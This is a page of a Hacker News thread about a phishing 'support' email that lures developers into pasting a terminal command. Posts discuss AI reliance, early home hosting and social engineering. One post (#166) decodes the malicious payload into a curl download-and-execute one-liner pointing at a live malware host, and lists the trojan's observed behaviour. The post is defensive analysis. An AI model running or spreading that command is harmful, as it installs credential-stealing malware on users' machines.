Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

The scariest "user support" email I've received

devas.life

Post reply on HN
Print view View original

161–170 of 267 posts

Re: The scariest "user support" email I've received

#161

Post by foxrider »

duskwuff wrote: post #70
foxrider wrote: post #26

Earlier quoted context omitted.

The "free" hosts were already harbingers of the end times. Once, having a dedicated IP address per machine stopped being a requirement, the personal website that would be casually hosted whenever your PC is on was done.

> the personal website that would be casually hosted whenever your PC is on I don't think that was ever really a thing. Which isn't to say that no one did it, but it was never a common practice. And free web site hosting came earlier than you're implying - sites like Tripod and Angelfire launched in the mid-1990s, at a time when most users were still on dialup.

Must be a regional thing, because where I live, mass internet adoption pretty much started in the 90s with the dedicated Ethernet connections. As such, every PC had its own IP address, it was a time before home routers. Later, the dreaded NAT was introduced, but the ISPs kept their "LAN" networks free. People hosted all sorts of things. It was a common practice for people to host an FTP server, a game server, an IRC and such on their home computers, and that "LAN" was not subject to the internet speed limit that was capped at around 600kb/s while the LAN would go as fast as the hardware allowed.

Re: The scariest "user support" email I've received

#162

Post by jb1991 »

mort96 wrote: post #157

Why would you ask ChatGPT to tell you what a base64-encoded string is? Just base64 decode it! This blog post's "investigation" is worthless when it's just copy/pasting what a chat bot said. There is no reason to rely on a chat bot for this.

You are forgetting the world we live in now where, as time passes, fewer and fewer people will know how to do anything on their own and more and more will only accomplish things by using AI.

Re: The scariest "user support" email I've received

#163

Post by croes »

Arainach wrote: post #97
croes wrote: post #84

Earlier quoted context omitted.

Come on. Base64 decoding should be like binary to hex conversion for a developer. The command even mentions base64. What if ChatGPT said everything is fine?

Correct, but again this is one of the things LLMs are consistently good at and an actual time saver. I'm very much an AI skeptic, but it's undeniable that LLMs have obsoleted 30 years worth of bash scripting knowledge - any time I think "I could take 5min and write that" an LLM can do it in under 30 seconds and adds a lot more input validation checks than I would in 5min. It also gets the regex right the first time,…

https://www.base64decode.org/ is faster than ChatGPT to decode the base64.

And I truly hope nobody needs ChatGPT to tell them that running an unknown curl command is a very bad idea.

The problem is the waste of resources for such a simple task. No wonder we need so much more power plants.

Re: The scariest "user support" email I've received

#164

Post by taneliv »

userbinator wrote: post #154

Weird already — because my app’s website, https://www.inkdrop.app/ , doesn’t even show a cookie consent dialog. I don’t track or serve ads, so there’s no need for that What I would do in this situation: check to make sure that my site hasn't been hacked, then tell the "user" it's not a problem on my end. The class names in the source code of the phishing site are... interesting. I've seen this in spam email headers t…

Maybe an effort to foil anti-malware / endpoint security products?

Re: The scariest "user support" email I've received

#165

Post by DocTomoe »

jb1991 wrote: post #162
mort96 wrote: post #157

Why would you ask ChatGPT to tell you what a base64-encoded string is? Just base64 decode it! This blog post's "investigation" is worthless when it's just copy/pasting what a chat bot said. There is no reason to rely on a chat bot for this.

You are forgetting the world we live in now where, as time passes, fewer and fewer people will know how to do anything on their own and more and more will only accomplish things by using AI.

As a kid who was raised editing and tinkering memory blocks out of CONFIG.SYS, I've been watching this for a while when the GenZ-Mobile-Generation showed up and was not able to do the darnest things. I see with terror in my heart that the downward ride isn't yet over.

Re: The scariest "user support" email I've received

#166

Post by guessmyname »

meander_water wrote: post #160
mort96 wrote: post #157

Why would you ask ChatGPT to tell you what a base64-encoded string is? Just base64 decode it! This blog post's "investigation" is worthless when it's just copy/pasting what a chat bot said. There is no reason to rely on a chat bot for this.

Yeah I was hoping to see the actual script content

Here you go, fellow netizen:

  echo -n 'Y3VybCAtc0wgLW8gL3RtcC9wakttTVVGRVl2OEFsZktSIGh0dHB
  zOi8vd3d3LmFtYW5hZ2VuY2llcy5jb20vYXNzZXRzL2pzL2dyZWNhcHRja
  GE7IGNobW9kICt4IC90bXAvcGpLbU1VRkVZdjhBbGZLUjsgL3RtcC9wakt
  tTVVGRVl2OEFsZktS' | base64 --decode
Decodes into:

  curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha; chmod +x /tmp/pjKmMUFEYv8AlfKR; /tmp/pjKmMUFEYv8AlfKR
This downloads a Mach-O universal binary:

  $ curl -o foo.bar "URL"
  
  $ file ~/Downloads/foo.bar
  foo.bar: Mach-O universal binary with 2 architectures:
    [x86_64:Mach-O 64-bit executable x86_64 - Mach-O 64-bit executable x86_64]
    [arm64:Mach-O 64-bit executable arm64 - Mach-O 64-bit executable arm64]
  foo.bar (for architecture x86_64): Mach-O 64-bit executable x86_64
  foo.bar (for architecture arm64): Mach-O 64-bit executable arm64
VirusTotal report: https://www.virustotal.com/gui/file/5f3cac5d37cb6cabaf223dc0...

Reading through the VirusTotal Behavior page, I can see that the Trojan…

• Sends a POST request with 18 bytes to http://83.219.248.194/fulfulde.php, which then returns a text/html page

• Then, it sends DNS queries to h3.apis.apple.map.fastly.net (or maybe this is macOS itself)

• Then, it triggers several open(2) syscalls, among which I can see Mail.app and Messages.app

• Then, it uses a seemingly innocuous binary called “~/.local-6FFD23F2-D3F2-52AC-8572-1D7B854F8BC7/GoogleUpdater” along with “~/Desktop/sample”

• Then, launches a process (via macOS Lauch Agents) called “com.google.captchasvc”

• Then, uses AppleScript to launch a dialog window with this message “macOS needs to access System Settings.Please enter password for root:”

After this I assume it’s game over.

TrendMicro analysis (Sep 04, 2025) -- https://www.trendmicro.com/en_us/research/25/i/an-mdr-analys...

Re: The scariest "user support" email I've received

#167

Post by nextlevelwizard »

userbinator wrote: post #154

Weird already — because my app’s website, https://www.inkdrop.app/ , doesn’t even show a cookie consent dialog. I don’t track or serve ads, so there’s no need for that What I would do in this situation: check to make sure that my site hasn't been hacked, then tell the "user" it's not a problem on my end. The class names in the source code of the phishing site are... interesting. I've seen this in spam email headers t…

>check to make sure that my site hasn't been hacked, then tell the "user" it's not a problem on my end.

standard "works on my machine"

Re: The scariest "user support" email I've received

#168

Post by bandrami »

mort96 wrote: post #157

Why would you ask ChatGPT to tell you what a base64-encoded string is? Just base64 decode it! This blog post's "investigation" is worthless when it's just copy/pasting what a chat bot said. There is no reason to rely on a chat bot for this.

It was almost 10 years ago that somebody asked if there's a way to do a diff of two files if they aren't both in git.

Re: The scariest "user support" email I've received

#169

Post by taneliv »

tgsovlerkhgsel wrote: post #79
wvbdmp wrote: post #67

In Windows CMD you don’t even need to hit return at the end. They can just add a line break to the copied text and as soon as you paste into the command line (just a right click!), you own yourself. I have one question though: Considering the scare-mongering about Windows 10’s EOL, this seems pretty convoluted. I thought bad guys could own your machine by automatic drive-by downloads unless you’re absolutely on the l…

I'm sure "visit a site and get exploited" happens, but... I haven't actually heard of a single concrete case outside of nation-state attacks. What's more baffling is that I also haven't heard of any Android malware that does this, despite most phones out there having several publicly known exploits and many phones not receiving any updates. I can't really explain it except "social engineering like this works so well…

Old Androids do reportedly, and from experience, get slower over time. Maybe that's just bloat in the user installed apps when they are updated. But I would not be terribly surprised if it wasn't also malware consuming resources.

Re: The scariest "user support" email I've received

#170

Post by johnisgood »

mrguyorama wrote: post #130
netsharc wrote: post #5

Geez, I skimmed the image with the "steps" and the devtools next to it and assumed it was steps to get the user to open the DevTools, but later when he said it would download a file I thought "You can tell the DevTools to download a file and execute it as a shell script?!". Then I read the steps again, step 2 is "Type in 'Terminal'"... oh come on, will many people fall for that?

Our call center had to develop a procedure and do training around explaining to grandmas why we will not let them purchase those iTunes giftcards, and that their relative is not actually in prison anywhere, and that no prison accepts iTunes gift cards for bail. There's no such thing as "too obvious" when it comes to computers, because normal people are trained by the entire industry, by every interaction, and by all…

> Even when the internet required a bit more effort to get on to, it was still trivial to get people to delete System32

Come to think of it... you are right! The barrier to entry was higher yet we fell for it! Err, I did fall for it when I was around 10 or something. :D

Post reply on HN